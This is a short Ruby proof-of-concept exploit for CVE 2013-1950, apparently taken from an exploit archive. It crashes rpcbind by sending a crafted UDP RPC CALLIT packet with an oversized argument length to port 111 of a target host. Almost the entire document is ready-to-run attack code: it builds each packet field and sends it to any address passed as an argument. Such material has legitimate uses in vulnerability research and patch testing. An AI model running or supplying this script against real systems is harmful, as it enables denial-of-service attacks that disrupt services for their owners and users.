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rpcbind (CALLIT Procedure) UDP Crash PoC
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#!/usr/bin/ruby
#
# rpcbind_udp_crash_poc.rb
# 07/15/2013
# Sean Verity <veritysr1980 [at] gmail.com>
# CVE 2013-1950
#
# rpcbind (CALLIT Procedure) UDP Crash PoC
# Affected Software Package: rpcbind-0.2.0-19
#
# Tested on:
# Fedora 17 (3.9.8-100.fc17.x86_64 #1 SMP)
# CentOS 6.3 Final (2.6.32-279.22.1.el6.x86_64 #1 SMP)
#
# rpcbind can be crashed by setting the argument length
# value > 8944 in an RPC CALLIT procedure request over UDP.
#
require 'socket'
def usage
abort "\nusage: ./rpcbind_udp_crash_poc.rb <target>\n\n"
end
if ARGV.length == 1
pkt = [rand(2**32)].pack('N') # XID
pkt << [0].pack('N') # Message Type: CALL (0)
pkt << [2].pack('N') # RPC Version: 2
pkt << [100000].pack('N') # Program: Portmap (100000)
pkt << [2].pack('N') # Program Version: 2
pkt << [5].pack('N') # Procedure: CALLIT (5)
pkt << [0].pack('N') # Credentials Flavor: AUTH_NULL (0)
pkt << [0].pack('N') # Length: 0
pkt << [0].pack('N') # Credentials Verifier: AUTH_NULL (0)
pkt << [0].pack('N') # Length: 0
pkt << [0].pack('N') # Program: Unknown (0)
pkt << [1].pack('N') # Version: 1
pkt << [1].pack('N') # Procedure: 1
pkt << [8945].pack('N') # Argument Length
pkt << "crash" # Arguments
s = UDPSocket.new
s.send(pkt, 0, ARGV[0], 111)
else
usage
end
# 0day.today [2024-12-23] #